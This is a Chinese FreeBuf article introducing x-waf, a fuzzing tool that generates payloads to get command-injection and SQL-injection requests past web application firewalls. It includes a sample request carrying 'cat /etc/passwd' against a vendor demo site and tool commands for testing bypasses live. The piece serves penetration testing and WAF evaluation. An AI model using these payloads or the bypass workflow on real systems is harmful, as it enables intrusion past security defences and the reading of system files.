绕WAF不求人:自动生成绕WAFpayload,一键测试
文章介绍了一个基于fuzz的WAF绕过测试工具x-waf,支持命令执行和SQL注入绕过测试。用户需准备HTTP请求文件并标记payload位置后运行命令即可获取bypass结果,并可与Burp Suite配合生成payload进行进一步测试。 2025-7-25 09:30:0 Author: www.freebuf.com(查看原文) 阅读量:3 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一个基于fuzz的waf绕过测试工具,当前支持命令执行、SQL注入绕过。

https://github.com/leveryd/x-waf

使用方法

1、准备需要绕过的HTTP请求文件,例如:test.http

POST /demo/detect/ HTTP/1.1Host: cmdchop.chaitin.comaccept: application/json, text/javascript, */*; q=0.01accept-language: zh-CN,zh;q=0.9,en;q=0.8content-type: application/jsoncookie: _ga=GA1.2.212169703.1725506930; _ga_PNVRK9GRJ2=GS1.2.1725527773.2.1.1725529516.0.0.0; user_id=f62aa452-d92a-405a-9295-49aba0ed6d47; cid=dea7646d-7542-432f-858f-c745914a1e73; mid=c0b990d0-a3dc-455c-9f66-bac94da0b098origin: https://cmdchop.chaitin.compriority: u=1, ireferer: https://cmdchop.chaitin.com/demo/sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "macOS"sec-fetch-dest: emptysec-fetch-mode: corssec-fetch-site: same-originuser-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36x-requested-with: XMLHttpRequestContent-Length: 50{"type":"urlpath","payload":"/?p=cat /etc/passwd"}

2、将payload的位置用%{{.*}}%标记,例如:

{"type":"urlpath","payload":"/?p=%{{cat /etc/passwd}}%"}

3、运行命令:

./x_waf --target test/chatin-cmdchop.http --waf-block-regex payload cmd --fuzz-cmd-mode real

--fuzz-cmd-mode real 会实际执行命令,验证payload是否有效,当前只支持查看/etc/passwd文件内容 --fuzz-cmd-mode mock 会解析命令,验证payload是否有效,支持任意命令 --waf-block-regex payload 指定waf拦截时页面响应的匹配内容,支持正则表达式 4、查看bypass结果:

cat result.txt

与burpsuit配合使用

当程序遇到各种奇怪的报错时,你可以选择使用x-waf只生成payload,然后用burpsuite intruder模块来遍历发包,根据响应状态码或者响应长度来判断是否拦截。

./x --justOutPutPayload --target test/chatin-sqlchop.http sql --fuzz-sql 'select user from mysql.user' --fuzz-count 1000

--justOutPutPayload 导出payload到payloads.txt文件

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/441635.html
如有侵权请联系:admin#unsafe.sh